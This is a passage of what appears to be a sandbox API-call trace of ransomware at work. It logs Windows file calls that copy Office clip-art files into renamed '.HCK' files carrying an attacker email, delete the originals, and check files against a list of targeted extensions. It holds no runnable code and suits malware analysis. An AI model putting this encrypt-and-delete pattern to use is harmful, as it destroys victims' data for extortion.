hTemplateFile=0x0) returned 0x534 [0240.200] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=7448) returned 1 [0240.200] CloseHandle (hObject=0x534) returned 1 [0240.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172035.wmf")) returned 0x220 [0240.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172035.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0240.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172035.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0240.201] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.201] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172035.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0240.202] GetLastError () returned 0x0 [0240.202] ReadFile (in: hFile=0x534, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x1d18, lpOverlapped=0x0) returned 1 [0240.203] WriteFile (in: hFile=0x4c8, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x1d20, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x1d20, lpOverlapped=0x0) returned 1 [0240.204] ReadFile (in: hFile=0x534, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0240.204] WriteFile (in: hFile=0x4c8, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0240.204] SetEndOfFile (hFile=0x4c8) returned 1 [0240.204] CloseHandle (hObject=0x4c8) returned 1 [0240.204] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.204] SetEndOfFile (hFile=0x534) returned 1 [0240.206] CloseHandle (hObject=0x534) returned 1 [0240.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0240.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172035.wmf")) returned 1 [0240.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0240.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0240.208] lstrlenW (lpString=".doc") returned 4 [0240.208] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.208] lstrlenW (lpString=".docx") returned 5 [0240.208] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0240.208] lstrlenW (lpString=".pdf") returned 4 [0240.208] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.208] lstrlenW (lpString=".xls") returned 4 [0240.208] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.208] lstrlenW (lpString=".xlsx") returned 5 [0240.208] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0240.208] lstrlenW (lpString=".ppt") returned 4 [0240.208] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0240.208] lstrlenW (lpString=".zip") returned 4 [0240.208] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.208] lstrlenW (lpString=".rar") returned 4 [0240.208] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.208] lstrlenW (lpString=".bz2") returned 4 [0240.208] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.208] lstrlenW (lpString=".7z") returned 3 [0240.208] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0240.208] lstrlenW (lpString=".dbf") returned 4 [0240.208] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0240.208] lstrlenW (lpString=".1cd") returned 4 [0240.208] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0240.208] lstrlenW (lpString=".jpg") returned 4 [0240.208] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0240.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0240.208] lstrlenW (lpString=".doc") returned 4 [0240.208] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.208] lstrlenW (lpString=".docx") returned 5 [0240.208] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0240.208] lstrlenW (lpString=".pdf") returned 4 [0240.208] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.208] lstrlenW (lpString=".xls") returned 4 [0240.208] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.209] lstrlenW (lpString=".xlsx") returned 5 [0240.209] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0240.209] lstrlenW (lpString=".ppt") returned 4 [0240.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0240.209] lstrlenW (lpString=".zip") returned 4 [0240.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.209] lstrlenW (lpString=".rar") returned 4 [0240.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.209] lstrlenW (lpString=".bz2") returned 4 [0240.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.209] lstrlenW (lpString=".7z") returned 3 [0240.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0240.209] lstrlenW (lpString=".dbf") returned 4 [0240.209] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0240.209] lstrlenW (lpString=".1cd") returned 4 [0240.209] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0240.209] lstrlenW (lpString=".jpg") returned 4 [0240.209] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.209] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0240.209] lstrlenW (lpString="J0172067.WMF") returned 12 [0240.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172067.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0240.210] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=7028) returned 1 [0240.210] CloseHandle (hObject=0x534) returned 1 [0240.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172067.wmf")) returned 0x220 [0240.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172067.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0240.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0240.211] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.211] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172067.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0240.212] GetLastError () returned 0x0 [0240.212] ReadFile (in: hFile=0x534, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x1b74, lpOverlapped=0x0) returned 1 [0240.214] WriteFile (in: hFile=0x4c8, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x1b80, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x1b80, lpOverlapped=0x0) returned 1 [0240.214] ReadFile (in: hFile=0x534, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0240.215] WriteFile (in: hFile=0x4c8, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0240.215] SetEndOfFile (hFile=0x4c8) returned 1 [0240.215] CloseHandle (hObject=0x4c8) returned 1 [0240.215] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.215] SetEndOfFile (hFile=0x534) returned 1 [0240.217] CloseHandle (hObject=0x534) returned 1 [0240.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0240.218] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172067.wmf")) returned 1 [0240.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0240.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0240.219] lstrlenW (lpString=".doc") returned 4 [0240.219] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.219] lstrlenW (lpString=".docx") returned 5 [0240.219] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0240.219] lstrlenW (lpString=".pdf") returned 4 [0240.219] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.219] lstrlenW (lpString=".xls") returned 4 [0240.219] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.219] lstrlenW (lpString=".xlsx") returned 5 [0240.219] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0240.219] lstrlenW (lpString=".ppt") returned 4 [0240.219] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0240.219] lstrlenW (lpString=".zip") returned 4 [0240.219] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.219] lstrlenW (lpString=".rar") returned 4 [0240.219] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.219] lstrlenW (lpString=".bz2") returned 4 [0240.219] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.219] lstrlenW (lpString=".7z") returned 3 [0240.219] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0240.219] lstrlenW (lpString=".dbf") returned 4 [0240.219] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0240.219] lstrlenW (lpString=".1cd") returned 4 [0240.219] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0240.219] lstrlenW (lpString=".jpg") returned 4 [0240.219] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0240.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0240.219] lstrlenW (lpString=".doc") returned 4 [0240.219] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.219] lstrlenW (lpString=".docx") returned 5 [0240.219] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0240.219] lstrlenW (lpString=".pdf") returned 4 [0240.219] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.219] lstrlenW (lpString=".xls") returned 4 [0240.219] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.219] lstrlenW (lpString=".xlsx") returned 5 [0240.219] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0240.220] lstrlenW (lpString=".ppt") returned 4 [0240.220] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0240.220] lstrlenW (lpString=".zip") returned 4 [0240.220] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.220] lstrlenW (lpString=".rar") returned 4 [0240.220] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.220] lstrlenW (lpString=".bz2") returned 4 [0240.220] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.220] lstrlenW (lpString=".7z") returned 3 [0240.220] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0240.220] lstrlenW (lpString=".dbf") returned 4 [0240.220] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0240.220] lstrlenW (lpString=".1cd") returned 4 [0240.220] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0240.220] lstrlenW (lpString=".jpg") returned 4 [0240.220] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.220] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0240.220] lstrlenW (lpString="J0172193.WMF") returned 12 [0240.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172193.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0240.394] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=12696) returned 1 [0240.394] CloseHandle (hObject=0x544) returned 1 [0240.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172193.wmf")) returned 0x220 [0240.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172193.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0240.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172193.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0241.345] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.345] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172193.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0241.346] GetLastError () returned 0x0 [0241.346] ReadFile (in: hFile=0x4cc, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x3198, lpOverlapped=0x0) returned 1 [0241.348] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x31a0, lpOverlapped=0x0) returned 1 [0241.348] ReadFile (in: hFile=0x4cc, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.349] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0241.349] SetEndOfFile (hFile=0x3bc) returned 1 [0241.349] CloseHandle (hObject=0x3bc) returned 1 [0241.349] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.349] SetEndOfFile (hFile=0x4cc) returned 1 [0241.351] CloseHandle (hObject=0x4cc) returned 1 [0241.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172193.wmf")) returned 1 [0241.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68 [0241.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68 [0241.353] lstrlenW (lpString=".doc") returned 4 [0241.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.353] lstrlenW (lpString=".docx") returned 5 [0241.353] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0241.353] lstrlenW (lpString=".pdf") returned 4 [0241.353] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.353] lstrlenW (lpString=".xls") returned 4 [0241.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.353] lstrlenW (lpString=".xlsx") returned 5 [0241.353] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0241.353] lstrlenW (lpString=".ppt") returned 4 [0241.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68 [0241.353] lstrlenW (lpString=".zip") returned 4 [0241.353] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.353] lstrlenW (lpString=".rar") returned 4 [0241.353] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.353] lstrlenW (lpString=".bz2") returned 4 [0241.353] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.353] lstrlenW (lpString=".7z") returned 3 [0241.353] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68 [0241.353] lstrlenW (lpString=".dbf") returned 4 [0241.353] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68 [0241.353] lstrlenW (lpString=".1cd") returned 4 [0241.353] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68 [0241.353] lstrlenW (lpString=".jpg") returned 4 [0241.353] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68 [0241.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68 [0241.353] lstrlenW (lpString=".doc") returned 4 [0241.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.353] lstrlenW (lpString=".docx") returned 5 [0241.353] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0241.353] lstrlenW (lpString=".pdf") returned 4 [0241.353] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.353] lstrlenW (lpString=".xls") returned 4 [0241.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.353] lstrlenW (lpString=".xlsx") returned 5 [0241.353] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0241.353] lstrlenW (lpString=".ppt") returned 4 [0241.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68 [0241.353] lstrlenW (lpString=".zip") returned 4 [0241.353] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.354] lstrlenW (lpString=".rar") returned 4 [0241.354] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.354] lstrlenW (lpString=".bz2") returned 4 [0241.354] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.354] lstrlenW (lpString=".7z") returned 3 [0241.354] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68 [0241.354] lstrlenW (lpString=".dbf") returned 4 [0241.354] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68 [0241.354] lstrlenW (lpString=".1cd") returned 4 [0241.354] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68 [0241.354] lstrlenW (lpString=".jpg") returned 4 [0241.354] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.354] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0241.354] lstrlenW (lpString="J0177806.JPG") returned 12 [0241.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177806.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0241.355] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=55554) returned 1 [0241.355] CloseHandle (hObject=0x4cc) returned 1 [0241.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177806.jpg")) returned 0x220 [0241.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 